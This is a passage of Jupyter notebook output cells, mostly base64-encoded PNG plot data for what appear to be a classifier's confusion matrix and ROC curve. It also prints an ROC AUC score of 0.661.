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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "ROC AUC: 0.661\n"
+          ]
+        },
+        {
+          "data": {
+            "image/png": "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